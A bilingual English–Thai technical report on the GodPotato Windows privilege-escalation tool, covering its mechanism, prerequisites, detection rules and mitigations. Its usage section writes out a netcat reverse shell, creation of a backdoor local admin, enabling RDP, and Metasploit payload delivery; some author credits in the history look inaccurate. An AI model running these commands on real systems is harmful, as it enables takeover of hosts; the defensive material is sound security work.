✦ Table of Contents ✦
← Back to Tomes

GodPotato Technical Report (Windows PrivEsc)🥔 GodPotato รายงานเชิงเทคนิค (Windows PrivEsc)

Security Research · Windows Privilege Escalation · For authorized use only

Repository: BeichenDream/GodPotato · v1.20 · C# · Apache 2.0 · Released December 2022

01 · What is GodPotato?

GodPotato is a Windows Privilege Escalation tool developed by BeichenDream, released in December 2022. It's the latest evolution of the "Potato" family that security researchers have iterated on for over six years.

The core goal: once an attacker has shell/code execution under a Service Account (e.g. IIS Application Pool, MSSQL Service, NETWORK SERVICE) that holds SeImpersonatePrivilege GodPotato escalates it straight to NT AUTHORITY\SYSTEM.

What makes it "God"
Unlike JuicyPotato, which needs a version-specific CLSID and fails on Windows Server 2019+, GodPotato abuses a flaw in RPCSS a mandatory service that always runs in the SYSTEM context on every Windows version. That means it works on Windows 8 through Windows 11 and Server 2012 through Server 2022, without needing any CLSID at all (since v1.20).

Repository Info

PropertyValue
DeveloperBeichenDream
LanguageC# (.NET)
LicenseApache 2.0
ReleasedDecember 23, 2022
Latest updatev1.20 (April 11, 2023)
GitHub Stars~2,316
Forks~270

Why it matters

  • Used in real pentest engagements across many organizations
  • Found in actual malware campaigns in the wild
  • Tested and working across nearly every Windows version
  • No specific port or external relay required
  • Single binary extremely easy to use

02 · Evolution of the Potato Family

The Potato exploit family has evolved continuously for over 6 years, each version fixing the shortcomings of the previous one:

Timeline

2016 RottenPotato
The first technique, by @Stephen Fewer and @James Forshaw. Used NBNS spoofing + NTLM relay from the Windows Defender Update service to a fake COM server, then impersonated the SYSTEM token. Required Metasploit Meterpreter.

2018 JuicyPotato
By @decoder_it and @ohpe. Improved on RottenPotato, no longer requiring Meterpreter. Used a version-specific CLSID list, required binding to port 1337. Worked well on Windows 7 – Server 2016, but failed on Server 2019+ after Microsoft closed the BITS service exploitation path.

2020 RoguePotato
By @decoder_it and @splinter_code. Fixed the JuicyPotato issue on Server 2019 using cross-session COM activation and an RPC endpoint, but required an external relay server, making setup more complex.

2020 PrintSpoofer
By @itm4n. Used named pipe impersonation together with the Print Spooler service no COM/CLSID needed, but required the Print Spooler service to be running, which many organizations have already disabled.

2022 JuicyPotatoNG
By @antonioCoco. Improved JuicyPotato using a new BITS service approach, but still required a CLSID list and carried some limitations.

2022 DEC GodPotato ⭐ (latest)
By @BeichenDream. Abuses a flaw in RPCSS OXID Resolution a mandatory service on every Windows install. No CLSID needed (v1.20+), no external relay, no specific service dependency. Works on everything from 2012–2022 and Win8–Win11.

Potato Family Comparison

ToolWin 7/2008Win 10/2016Win 11/2019+Special requirement
RottenPotatoSome versionsMeterpreter
JuicyPotatoVersion-specific CLSID list
RoguePotatoPartialExternal relay server
PrintSpooferIf Spooler enabledPrint Spooler service
GodPotato2012+SeImpersonatePrivilege only

03 · Technical Mechanism

Core concept RPCSS and OXID

What is RPCSS?
Remote Procedure Call SubSystem (RPCSS) is a mandatory Windows service that's the core of the COM/DCOM infrastructure, handling inter-process communication. It always runs in the context of NT AUTHORITY\SYSTEM and cannot be disabled.

What is OXID?
Object eXporter IDentifier (OXID) identifies a COM server instance on Windows DCOM. When a client requests a COM object, RPCSS must perform OXID Resolution to find which endpoint the COM server lives at this is the exact point GodPotato attacks.

Attack mechanism 4 main steps

① Fake OXID Resolver
GodPotato registers itself as a fake OXID Resolver (a fake COM server), pointing its endpoint to a named pipe the attacker controls.

② Trigger DCOM Activation
GodPotato sends a DCOM object activation/marshaling request, forcing RPCSS to perform OXID resolution against the fake resolver.

③ RPCSS connects to the Named Pipe
RPCSS (running as SYSTEM) receives the response from the fake resolver and connects to the attacker's named pipe to talk to the "COM server."

④ Token Impersonation → SYSTEM
GodPotato calls ImpersonateNamedPipeClient() → obtains the SYSTEM token, then calls CreateProcessWithToken() to spawn a new process in the SYSTEM context.

Windows APIs used in the attack

API CallPurposePrivilege required
CreateNamedPipe()Creates a named pipe server to wait for RPCSS to connectUser level
CoCreateInstance() / CoMarshalInterface()Triggers DCOM activation through the COM runtimeUser level
ConnectNamedPipe()Waits for RPCSS (SYSTEM) to connect to the pipeUser level
ImpersonateNamedPipeClient()Steals the SYSTEM token from RPCSS's pipe connectionSeImpersonatePrivilege
OpenThreadToken()Opens the token obtained via impersonation
DuplicateTokenEx()Creates a primary token from the impersonation token
CreateProcessWithTokenW()Spawns a new process with the SYSTEM tokenSeImpersonatePrivilege
Root Cause
RPCSS is a mandatory service that Microsoft designed to always run as SYSTEM, since it manages OS-level COM infrastructure. The OXID resolution "vulnerability" is normal protocol behavior being abused not a classic "bug" so it's hard to patch without breaking the entire Windows COM/DCOM ecosystem.

04 · Attack Flow Diagram

The full exploit is divided into 4 phases:

PHASE 1 Setup

① GodPotato.exe starts
   └─ Privilege: Service Account + SeImpersonatePrivilege

② CreateNamedPipe()
   └─ Creates Named Pipe: \\.\pipe\GodPotato-xxx

③ Register Fake OXID Resolver
   └─ Registers a fake COM endpoint
   └─ Points endpoint → attacker's named pipe

PHASE 2 Trigger RPCSS

④ Attacker → RPCSS
   CoCreateInstance() / CoMarshalInterface()
   └─ Sends DCOM activation request ►

⑤ RPCSS → Attacker
   ◄ OXID resolution query
   └─ "Where's the COM server?"

⑥ Attacker → RPCSS
   OXID response ►
   └─ "COM server = \\.\pipe\GodPotato-xxx"

PHASE 3 Token Theft

⑦ RPCSS (NT AUTHORITY\SYSTEM) → Named Pipe
   ◄ ConnectNamedPipe() succeeds!
   └─ SYSTEM has connected

⑧ ImpersonateNamedPipeClient()
   └─ Steals SYSTEM token from RPCSS connection
   └─ OpenThreadToken() → DuplicateTokenEx()
   └─ ✅ Got the SYSTEM Token!

PHASE 4 Execute as SYSTEM

⑨ CreateProcessWithTokenW(SYSTEM_token, -cmd "...")
   └─ Spawns a new process as NT AUTHORITY\SYSTEM
   └─ ✅ cmd.exe / reverse shell / whatever -cmd specifies

05 · Prerequisites and Privileges

Required Windows Privileges

PrivilegeRequirementNotes
SeImpersonatePrivilegeRequiredThe core privilege lets you impersonate the token of a client connecting to the named pipe
SeAssignPrimaryTokenPrivilegeOptional (situational)Used to assign a token directly to a new process
SeDebugPrivilegeNot requiredGodPotato doesn't need this, unlike Mimikatz

Accounts with SeImpersonatePrivilege by default

Account / ServiceCommon scenarioRisk
IIS APPPOOL\*Web shell, RCE on IIS applications🔴 Very high
NT SERVICE\MSSQLSERVERSQL injection + xp_cmdshell, stacked queries🔴 Very high
NETWORK SERVICEVarious services running under Network Service🔴 High
LOCAL SERVICEWindows services configured to run as Local Service🟡 Medium
NT AUTHORITY\SYSTEMAlready has this privilege✅ GodPotato not needed

Checking privileges before use

# Check current account privileges
whoami /priv

# Expected output:
# SeImpersonatePrivilege  Impersonate a client after authentication  Enabled

# Check current account
whoami
# IIS: iis apppool\defaultapppool  ← has SeImpersonate
# MSSQL: nt service\mssqlserver    ← has SeImpersonate

06 · Supported Systems

Windows Client

VersionSupported
Windows 8
Windows 8.1
Windows 10✅ (all builds)
Windows 11

Windows Server

VersionSupported
Server 2012
Server 2012 R2
Server 2016
Server 2019
Server 2022
Why every version is supported
Because it targets RPCSS, a core Windows service whose OXID resolution behavior hasn't changed across any Windows version since Windows 2000. Microsoft can't "fix" this behavior without breaking the entire COM/DCOM ecosystem.

07 · Binary Files and .NET Versions

GodPotato ships 3 binaries depending on .NET Framework version:

Binary.NET VersionTarget systemsNotes
GodPotato-NET2.exe.NET 2.0Windows Server 2003+Very old systems without newer .NET
GodPotato-NET35.exe.NET 3.5Windows Vista / Server 2008+For legacy systems
GodPotato-NET4.exe.NET 4.0+Windows 7 / Server 2008 R2+Recommended works on almost all modern systems
CLR Compatibility Issue
There are reports of GodPotato not working if the .NET CLR is loaded into the process in unusual ways (e.g. some C++ services that host the CLR). In that case, try running it via a separate process or with cmd /c GodPotato.exe.

08 · Commands and Usage Examples

Basic Syntax

GodPotato.exe -cmd "<COMMAND>"

## Parameters:
-cmd    Command to run in SYSTEM context (required)
         Default: "cmd /c whoami"

Proof of Concept

# Verify SYSTEM was actually obtained
GodPotato-NET4.exe -cmd "cmd /c whoami"
# Expected result: nt authority\system

# Save output to a file
GodPotato-NET4.exe -cmd "cmd /c whoami > C:\Windows\Temp\out.txt"
type C:\Windows\Temp\out.txt

Reverse Shell

# Reverse shell via netcat
GodPotato-NET4.exe -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.100 4444"

# PowerShell encoded payload (recommended  avoids quote issues)
GodPotato-NET4.exe -cmd "powershell -enc <BASE64_ENCODED_COMMAND>"

Adding a Local Admin

# Add a local admin account
GodPotato-NET4.exe -cmd "cmd /c net user hacker P@ssw0rd! /add"
GodPotato-NET4.exe -cmd "cmd /c net localgroup administrators hacker /add"

# Enable RDP
GodPotato-NET4.exe -cmd "cmd /c reg add \"HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 0 /f"
GodPotato-NET4.exe -cmd "cmd /c netsh advfirewall firewall add rule name=RDP protocol=TCP dir=in localport=3389 action=allow"

With CrackMapExec / Metasploit

# Upload the file via CME then run it
crackmapexec smb target -u user -p pass --put-file GodPotato-NET4.exe C:/Windows/Temp/gp.exe
crackmapexec smb target -u user -p pass -x "C:\Windows\Temp\gp.exe -cmd \"cmd /c whoami\""

# Use with the Metasploit web_delivery module
# 1. msfconsole: use exploit/multi/script/web_delivery
# 2. set payload windows/x64/meterpreter/reverse_tcp
# 3. copy the PowerShell command from msf
GodPotato-NET4.exe -cmd "powershell -enc <MSF_POWERSHELL_PAYLOAD>"
Common issue Double Quotes
GodPotato has trouble with double quotes inside the command string. Escape them with \", or better, base64-encode the command and pass it via powershell -enc to sidestep quote-escaping entirely.

09 · Detection

Key Windows Event IDs

Event IDEvent nameWhat to monitor
Event 4688Process Creationw3wp.exe / sqlservr.exe as parent of cmd.exe/powershell.exe running in SYSTEM context
Sysmon 17/18Named Pipe Created/ConnectedA named pipe called GodPotato-<random> created by an IIS/MSSQL account
Sysmon Event 1Process Create with Token ElevationIntegrity Level jump: Medium → System without going through Windows authentication
Event 4673Privileged Service CalledSeImpersonatePrivilege used outside of normal operation
AV/EDR SignaturesBinary DetectionGodPotato.exe flagged by Defender, CrowdStrike, Carbon Black monitor csc.exe dynamic compilation on production servers

Sigma Rule

title: Potato-style PrivEsc  Service Account SYSTEM Token
status: stable
description: Detects a service account spawning a process with SYSTEM integrity level
logsource:
    product: windows
    category: process_creation
detection:
    selection:
        IntegrityLevel: 'System'
        ParentImage|endswith:
            - '\w3wp.exe'           # IIS worker
            - '\sqlservr.exe'       # MSSQL
            - '\tomcat.exe'         # Tomcat
            - '\java.exe'           # Java app servers
    condition: selection
falsepositives:
    - Very unlikely in production environments
level: critical
tags:
    - attack.privilege_escalation
    - attack.t1134.001

MITRE ATT&CK Mapping

TechniqueIDDescription
Access Token Manipulation: Token Impersonation/TheftT1134.001ImpersonateNamedPipeClient() steals the SYSTEM token
Exploitation for Privilege EscalationT1068Abuses RPCSS OXID resolution behavior
Named PipeT1559.001Creates a named pipe to receive the RPCSS connection

10 · Defense

Mitigation Measures

MeasureHowLevelNotes
Use gMSA instead of a regular service accountNew-ADServiceAccount -Name svc_iis → auto password rotation, 240 characters🔴 HighestgMSA still has SeImpersonate, but reduces risk from password theft
Remove SeImpersonatePrivilegeGPO → Security Settings → User Rights Assignment🔴 HighestMay break IIS/SQL functionality test first
Windows Defender Credential GuardEnable via GPO🟡 MediumBlocks credential theft but doesn't directly block GodPotato
Application Whitelisting (WDAC/AppLocker)Block execution of unsigned binaries🟡 MediumAttacker must re-sign GodPotato to bypass adds friction
EDR Behavioral DetectionCrowdStrike, SentinelOne, Defender for Endpoint🟡 MediumDetects pattern: named pipe impersonation + process elevation
Network SegmentationRestrict outbound traffic from web servers🟡 MediumBlocks reverse shells but doesn't prevent local PrivEsc
Sysmon + SIEMDeploy Sysmon + monitor Events 17/18 + 4688🟢 DetectionDoesn't prevent, but enables fast detection
Least Privilege Application PoolIIS: run the app pool under a custom, minimally-privileged account🟢 Risk reductionIf the account lacks SeImpersonate, GodPotato fails immediately
Best mitigation
The only way to definitively block GodPotato is to make sure the service account doesn't have SeImpersonatePrivilege. But since Windows grants this to service accounts by default, the more practical approach is to make initial access to that service account hard to get (patch the web app, WAF, reduce attack surface) and to detect fast via EDR + Sysmon.

GodPotato · BeichenDream/GodPotato · v1.20 · Apache 2.0 · For authorized security research only

🛡️ Security Research · Windows Privilege Escalation · For authorized use only

Repository: BeichenDream/GodPotato · v1.20 · C# · Apache 2.0 · เผยแพร่ธันวาคม 2022

01 · GodPotato คืออะไร?

GodPotato คือเครื่องมือ Privilege Escalation บน Windows ที่พัฒนาโดย BeichenDream เปิดเผยในเดือนธันวาคม 2022 มันเป็นวิวัฒนาการล่าสุดของตระกูล "Potato" ที่นักวิจัยด้านความปลอดภัยได้พัฒนาต่อกันมากว่า 6 ปี

เป้าหมายหลักคือ: เมื่อผู้โจมตีได้ shell หรือ code execution ในสิทธิ์ของ Service Account (เช่น IIS Application Pool, MSSQL Service, NETWORK SERVICE) ซึ่งมี SeImpersonatePrivilege GodPotato ช่วยยกระดับขึ้นเป็น NT AUTHORITY\SYSTEM ได้ทันที

💡 จุดเด่นที่ทำให้เป็น "God"
ต่างจาก JuicyPotato ที่ต้องการ CLSID เฉพาะ และไม่ทำงานบน Windows Server 2019+ GodPotato ใช้ช่องโหว่ใน RPCSS ซึ่งเป็น mandatory service ที่รันใน SYSTEM context ตลอดเวลาบนทุก Windows version จึงทำงานได้กับ Windows 8 ถึง Windows 11 และ Server 2012 ถึง Server 2022 โดยไม่ต้องระบุ CLSID ใดๆ (ตั้งแต่ v1.20)

Repository Info

PropertyValue
ผู้พัฒนาBeichenDream
ภาษาC# (.NET)
LicenseApache 2.0
เผยแพร่23 ธันวาคม 2022
อัปเดตล่าสุดv1.20 (11 เมษายน 2023)
GitHub Stars~2,316
Forks~270

ความสำคัญ

  • ใช้ในการทดสอบ Pentest จริงในหลายองค์กร
  • พบในมัลแวร์จริงหลาย campaign
  • ทดสอบได้บน Windows เกือบทุก version
  • ไม่ต้องการ port เฉพาะหรือ external relay
  • เป็น single binary ใช้งานง่ายมาก

02 · วิวัฒนาการตระกูล Potato

ตระกูล Potato exploit ถูกพัฒนาต่อเนื่องมากว่า 6 ปี แต่ละเวอร์ชันแก้ปัญหาของรุ่นก่อน:

Timeline

2016 RottenPotato
เทคนิคแรกสุด โดย @Stephen Fewer และ @James Forshaw ใช้ NBNS spoofing + NTLM relay จาก Windows Defender Update service มาที่ fake COM server แล้ว impersonate SYSTEM token ต้องการ Metasploit meterpreter

2018 JuicyPotato
โดย @decoder_it และ @ohpe ปรับปรุงจาก RottenPotato ไม่ต้องการ Meterpreter ใช้ CLSID list เฉพาะ Windows version ต้องการ bind ที่ port 1337 ทำงานได้ดีบน Windows 7 – Server 2016 แต่ ล้มเหลวบน Server 2019+ เพราะ Microsoft ปิด BITS service exploitation

2020 RoguePotato
โดย @decoder_it และ @splinter_code แก้ปัญหา JuicyPotato บน Server 2019 ใช้ cross-session COM activation และ RPC endpoint แต่ ต้องการ external relay server ทำให้ setup ซับซ้อนขึ้น

2020 PrintSpoofer
โดย @itm4n ใช้ named pipe impersonation ร่วมกับ Print Spooler service ไม่ต้องการ COM/CLSID แต่ ต้องการ Print Spooler service ทำงานอยู่ ซึ่งหลายองค์กรปิดไปแล้ว

2022 JuicyPotatoNG
โดย @antonioCoco ปรับปรุง JuicyPotato ใช้ BITS service ใหม่ แต่ยังคงต้องการ CLSID list และมีข้อจำกัดบางอย่าง

2022 DEC GodPotato ⭐ (ล่าสุด)
โดย @BeichenDream ใช้ช่องโหว่ใน RPCSS OXID Resolution ซึ่งเป็น mandatory service ทุก Windows ไม่ต้องการ CLSID (v1.20+), ไม่ต้องการ external relay, ไม่ต้องการ specific service ทำงานได้บนทุก Windows ตั้งแต่ 2012-2022 และ Win8-Win11

เปรียบเทียบ Potato Family

เครื่องมือWin 7/2008Win 10/2016Win 11/2019+ต้องการอะไรพิเศษ
RottenPotatoบางเวอร์ชันMeterpreter
JuicyPotatoCLSID list ตาม version
RoguePotatoบางส่วนExternal relay server
PrintSpooferถ้า Spooler เปิดPrint Spooler service
GodPotato2012+SeImpersonatePrivilege เท่านั้น

03 · หลักการทำงาน (Technical Mechanism)

แนวคิดหลัก RPCSS และ OXID

RPCSS คืออะไร?
Remote Procedure Call SubSystem (RPCSS) คือ Windows mandatory service ที่เป็น core ของ COM/DCOM infrastructure ทำหน้าที่จัดการการสื่อสารระหว่าง process ต่างๆ รันใน context ของ NT AUTHORITY\SYSTEM เสมอ และ ไม่สามารถปิดได้

OXID คืออะไร?
Object eXporter IDentifier (OXID) คือค่าที่ใช้ระบุตัวตนของ COM server instance บน Windows DCOM เมื่อ client ร้องขอ COM object RPCSS ต้องทำ OXID Resolution เพื่อหาว่า COM server อยู่ที่ endpoint ไหน นี่คือจุดที่ GodPotato โจมตี

กลไกการโจมตี 4 ขั้นตอนหลัก

① Fake OXID Resolver
GodPotato ลงทะเบียนตัวเองเป็น fake OXID Resolver (COM server ปลอม) โดยตั้งค่า endpoint ให้ชี้ไปที่ named pipe ที่ควบคุมโดย attacker

② Trigger DCOM Activation
GodPotato ส่ง DCOM object activation/marshaling request เพื่อบังคับให้ RPCSS ทำ OXID resolution ไปยัง resolver ปลอม

③ RPCSS เชื่อมต่อมาที่ Named Pipe
RPCSS (รันเป็น SYSTEM) รับ response จาก fake resolver และเชื่อมต่อไปที่ named pipe ของ attacker เพื่อสื่อสารกับ "COM server"

④ Token Impersonation → SYSTEM
GodPotato เรียก ImpersonateNamedPipeClient() → ได้ SYSTEM token แล้วเรียก CreateProcessWithToken() เพื่อ spawn process ใหม่ใน SYSTEM context

Windows API ที่ใช้ในการโจมตี

API Callวัตถุประสงค์สิทธิ์ที่ต้องการ
CreateNamedPipe()สร้าง named pipe server เพื่อรอ RPCSS เชื่อมต่อUser level
CoCreateInstance() / CoMarshalInterface()Trigger DCOM activation ผ่าน COM runtimeUser level
ConnectNamedPipe()รอให้ RPCSS (SYSTEM) เชื่อมต่อมาที่ pipeUser level
ImpersonateNamedPipeClient()ขโมย SYSTEM token จาก pipe connection ของ RPCSSSeImpersonatePrivilege
OpenThreadToken()เปิด token ที่ได้จากการ impersonate
DuplicateTokenEx()สร้าง primary token จาก impersonation token
CreateProcessWithTokenW()Spawn process ใหม่ด้วย SYSTEM tokenSeImpersonatePrivilege
⚠️ Root Cause
RPCSS เป็น mandatory service ที่ Microsoft ออกแบบให้รันเป็น SYSTEM เสมอ เพราะต้องจัดการ COM infrastructure ระดับ OS ช่องโหว่ OXID resolution เป็นพฤติกรรมการทำงานปกติของ protocol ที่ถูกนำมาใช้ในทาง abuse ไม่ใช่ "bug" แบบ classic จึงยาก patch โดยไม่กระทบ functionality ของ Windows COM ecosystem

04 · Attack Flow Diagram

ขั้นตอน exploit ทั้งหมดแบ่งเป็น 4 Phase:

PHASE 1 Setup (การเตรียมการ)

① GodPotato.exe รันขึ้นมา
   └─ สิทธิ์: Service Account + SeImpersonatePrivilege

② CreateNamedPipe()
   └─ สร้าง Named Pipe: \\.\pipe\GodPotato-xxx

③ Register Fake OXID Resolver
   └─ ลงทะเบียน COM endpoint ปลอม
   └─ ชี้ endpoint → named pipe ของ attacker

PHASE 2 Trigger RPCSS

④ Attacker → RPCSS
   CoCreateInstance() / CoMarshalInterface()
   └─ ส่ง DCOM activation request ►

⑤ RPCSS → Attacker
   ◄ OXID resolution query
   └─ "COM server อยู่ที่ไหน?"

⑥ Attacker → RPCSS
   OXID response ►
   └─ "COM server = \\.\pipe\GodPotato-xxx"

PHASE 3 Token Theft

⑦ RPCSS (NT AUTHORITY\SYSTEM) → Named Pipe
   ◄ ConnectNamedPipe() สำเร็จ!
   └─ SYSTEM เชื่อมต่อมาแล้ว

⑧ ImpersonateNamedPipeClient()
   └─ ขโมย SYSTEM token จาก RPCSS connection
   └─ OpenThreadToken() → DuplicateTokenEx()
   └─ ✅ ได้ SYSTEM Token!

PHASE 4 Execute as SYSTEM

⑨ CreateProcessWithTokenW(SYSTEM_token, -cmd "...")
   └─ Spawn process ใหม่เป็น NT AUTHORITY\SYSTEM
   └─ ✅ cmd.exe / reverse shell / ตามที่ระบุใน -cmd

05 · ข้อกำหนดเบื้องต้นและ Privilege

Windows Privileges ที่ต้องการ

Privilegeความจำเป็นหมายเหตุ
SeImpersonatePrivilegeจำเป็นต้องมีสิทธิ์หลัก ช่วยให้ impersonate token ของ client ที่เชื่อมต่อมาที่ named pipe
SeAssignPrimaryTokenPrivilegeเสริม (บางสถานการณ์)ใช้ assign token ให้ process ใหม่โดยตรง
SeDebugPrivilegeไม่จำเป็นGodPotato ไม่ต้องการ ต่างจาก Mimikatz

Account ที่มี SeImpersonatePrivilege โดยค่าเริ่มต้น

Account / Serviceสถานการณ์ที่พบบ่อยความเสี่ยง
IIS APPPOOL\*Web shell, RCE บน IIS application🔴 สูงมาก
NT SERVICE\MSSQLSERVERSQL injection + xp_cmdshell, stacked queries🔴 สูงมาก
NETWORK SERVICEService ต่างๆ ที่ run ใน Network Service context🔴 สูง
LOCAL SERVICEWindows service ที่กำหนด run as Local Service🟡 ปานกลาง
NT AUTHORITY\SYSTEMมีสิทธิ์นี้อยู่แล้ว✅ ไม่ต้องการ GodPotato

ตรวจสอบ Privilege ก่อนใช้งาน

# ตรวจสอบ privilege ของ account ปัจจุบัน
whoami /priv

# ผลลัพธ์ที่ต้องการ:
# SeImpersonatePrivilege  Impersonate a client after authentication  Enabled

# ดู account ปัจจุบัน
whoami
# IIS: iis apppool\defaultapppool  ← มี SeImpersonate
# MSSQL: nt service\mssqlserver    ← มี SeImpersonate

06 · ระบบที่รองรับ

Windows Client

Versionรองรับ
Windows 8
Windows 8.1
Windows 10✅ (ทุก build)
Windows 11

Windows Server

Versionรองรับ
Server 2012
Server 2012 R2
Server 2016
Server 2019
Server 2022
💡 ทำไมรองรับได้ทุก version
เพราะโจมตี RPCSS ซึ่งเป็น core Windows service ที่ไม่เปลี่ยนแปลงพฤติกรรม OXID resolution ข้ามทุก Windows version ตั้งแต่ Windows 2000 เป็นต้นมา Microsoft ไม่สามารถ "fix" การทำงานนี้ได้โดยไม่กระทบ COM/DCOM ecosystem ทั้งหมด

07 · ไฟล์ Binary และ .NET Version

GodPotato แจกจ่ายมา 3 binary ตาม .NET Framework version:

Binary.NET Versionใช้กับระบบหมายเหตุ
GodPotato-NET2.exe.NET 2.0Windows Server 2003+ระบบเก่ามากที่ไม่มี .NET สูงกว่านี้
GodPotato-NET35.exe.NET 3.5Windows Vista / Server 2008+ใช้กับระบบ legacy
GodPotato-NET4.exe.NET 4.0+Windows 7 / Server 2008 R2+แนะนำ ใช้กับระบบสมัยใหม่เกือบทั้งหมด
ℹ️ CLR Compatibility Issue
มี Issue รายงานว่า GodPotato อาจไม่ทำงานถ้า .NET CLR ถูก load ใน process แบบพิเศษ (เช่น บาง C++ service ที่ host CLR) ในกรณีนั้นให้ลองรันผ่าน process แยกหรือใช้ cmd /c GodPotato.exe

08 · คำสั่งและตัวอย่างการใช้งาน

Syntax พื้นฐาน

GodPotato.exe -cmd "<COMMAND>"

## Parameters:
-cmd    คำสั่งที่จะรันใน SYSTEM context (จำเป็นต้องมี)
         Default: "cmd /c whoami"

Proof of Concept

# ตรวจสอบว่าได้ SYSTEM จริงหรือไม่
GodPotato-NET4.exe -cmd "cmd /c whoami"
# ผลที่คาดหวัง: nt authority\system

# บันทึกผลลัพธ์ไปที่ไฟล์
GodPotato-NET4.exe -cmd "cmd /c whoami > C:\Windows\Temp\out.txt"
type C:\Windows\Temp\out.txt

Reverse Shell

# Reverse shell ด้วย netcat
GodPotato-NET4.exe -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.100 4444"

# PowerShell encoded payload (แนะนำ  หลีกเลี่ยงปัญหา quote)
GodPotato-NET4.exe -cmd "powershell -enc <BASE64_ENCODED_COMMAND>"

เพิ่ม Local Admin

# เพิ่ม local admin account
GodPotato-NET4.exe -cmd "cmd /c net user hacker P@ssw0rd! /add"
GodPotato-NET4.exe -cmd "cmd /c net localgroup administrators hacker /add"

# Enable RDP
GodPotato-NET4.exe -cmd "cmd /c reg add \"HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 0 /f"
GodPotato-NET4.exe -cmd "cmd /c netsh advfirewall firewall add rule name=RDP protocol=TCP dir=in localport=3389 action=allow"

ร่วมกับ CrackMapExec / Metasploit

# Upload ไฟล์ผ่าน CME แล้วรัน
crackmapexec smb target -u user -p pass --put-file GodPotato-NET4.exe C:/Windows/Temp/gp.exe
crackmapexec smb target -u user -p pass -x "C:\Windows\Temp\gp.exe -cmd \"cmd /c whoami\""

# ใช้กับ Metasploit web_delivery module
# 1. msfconsole: use exploit/multi/script/web_delivery
# 2. set payload windows/x64/meterpreter/reverse_tcp
# 3. copy PowerShell command จาก msf
GodPotato-NET4.exe -cmd "powershell -enc <MSF_POWERSHELL_PAYLOAD>"
⚠️ ปัญหาที่พบบ่อย Double Quotes
GodPotato มีปัญหากับ double quote ภายใน command string ให้ใช้ escape \" หรือดีกว่าคือ encode command เป็น base64 แล้วส่งผ่าน powershell -enc เพื่อหลีกเลี่ยงปัญหา quote escaping ทั้งหมด

09 · การตรวจจับ (Detection)

Windows Event IDs ที่สำคัญ

Event IDชื่อ Eventสิ่งที่ต้องมอนิเตอร์
Event 4688Process Creationw3wp.exe / sqlservr.exe เป็น parent ของ cmd.exe/powershell.exe ที่รันใน SYSTEM context
Sysmon 17/18Named Pipe Created/ConnectedNamed pipe ชื่อ GodPotato-<random> ถูกสร้างโดย IIS/MSSQL account
Sysmon Event 1Process Create with Token ElevationIntegrity Level jump: Medium → System โดยไม่ผ่าน Windows authentication
Event 4673Privileged Service CalledSeImpersonatePrivilege ถูกใช้งานนอกเหนือจากการทำงานปกติ
AV/EDR SignaturesBinary DetectionGodPotato.exe ถูก flag โดย Defender, CrowdStrike, Carbon Black monitor csc.exe dynamic compile บน production server

Sigma Rule

title: Potato-style PrivEsc  Service Account SYSTEM Token
status: stable
description: ตรวจจับ service account สร้าง process ที่มี SYSTEM integrity level
logsource:
    product: windows
    category: process_creation
detection:
    selection:
        IntegrityLevel: 'System'
        ParentImage|endswith:
            - '\w3wp.exe'           # IIS worker
            - '\sqlservr.exe'       # MSSQL
            - '\tomcat.exe'         # Tomcat
            - '\java.exe'           # Java app servers
    condition: selection
falsepositives:
    - Very unlikely in production environments
level: critical
tags:
    - attack.privilege_escalation
    - attack.t1134.001

MITRE ATT&CK Mapping

TechniqueIDDescription
Access Token Manipulation: Token Impersonation/TheftT1134.001ImpersonateNamedPipeClient() ขโมย SYSTEM token
Exploitation for Privilege EscalationT1068Abuse RPCSS OXID resolution behavior
Named PipeT1559.001สร้าง named pipe เพื่อรับ connection จาก RPCSS

10 · การป้องกัน (Defense)

มาตรการป้องกัน

มาตรการวิธีการระดับหมายเหตุ
ใช้ gMSA แทน service account ธรรมดาNew-ADServiceAccount -Name svc_iis → password rotate อัตโนมัติ 240 ตัวอักษร🔴 สูงสุดgMSA ยังมี SeImpersonate แต่ลดความเสี่ยงจาก password theft
ลบ SeImpersonatePrivilegeGPO → Security Settings → User Rights Assignment🔴 สูงสุดอาจทำให้ IIS/SQL ทำงานผิดปกติ ต้องทดสอบก่อน
Windows Defender Credential Guardเปิดใน GPO🟡 ปานกลางBlock credential theft แต่ไม่ block GodPotato โดยตรง
Application Whitelisting (WDAC/AppLocker)Block การรัน unsigned binary🟡 ปานกลางต้อง sign GodPotato ใหม่เพื่อ bypass เพิ่ม effort
EDR Behavioral DetectionCrowdStrike, SentinelOne, Defender for Endpoint🟡 ปานกลางตรวจจับ pattern: named pipe impersonation + process elevation
Network Segmentationจำกัด outbound จาก web server🟡 ปานกลางBlock reverse shell แต่ไม่ป้องกัน local PrivEsc
Sysmon + SIEMDeploy Sysmon + monitor Events 17/18 + 4688🟢 ตรวจจับไม่ได้ป้องกัน แต่ช่วยตรวจจับได้เร็ว
Least Privilege Application PoolIIS: run app pool ด้วย custom account สิทธิ์น้อยที่สุด🟢 ลดความเสี่ยงถ้า account ไม่มี SeImpersonate GodPotato ล้มเหลวทันที
✅ มาตรการที่ดีที่สุด
วิธีเดียวที่ block GodPotato ได้แน่นอนคือ ทำให้ service account ไม่มี SeImpersonatePrivilege แต่เนื่องจาก Windows ให้สิทธิ์นี้แก่ service account โดย default ทางปฏิบัติที่ดีกว่าคือทำให้ initial access สู่ service account นั้นทำได้ยาก (patch web app, WAF, ลด attack surface) และ ตรวจจับได้เร็ว ผ่าน EDR + Sysmon

GodPotato · BeichenDream/GodPotato · v1.20 · Apache 2.0 · For authorized security research only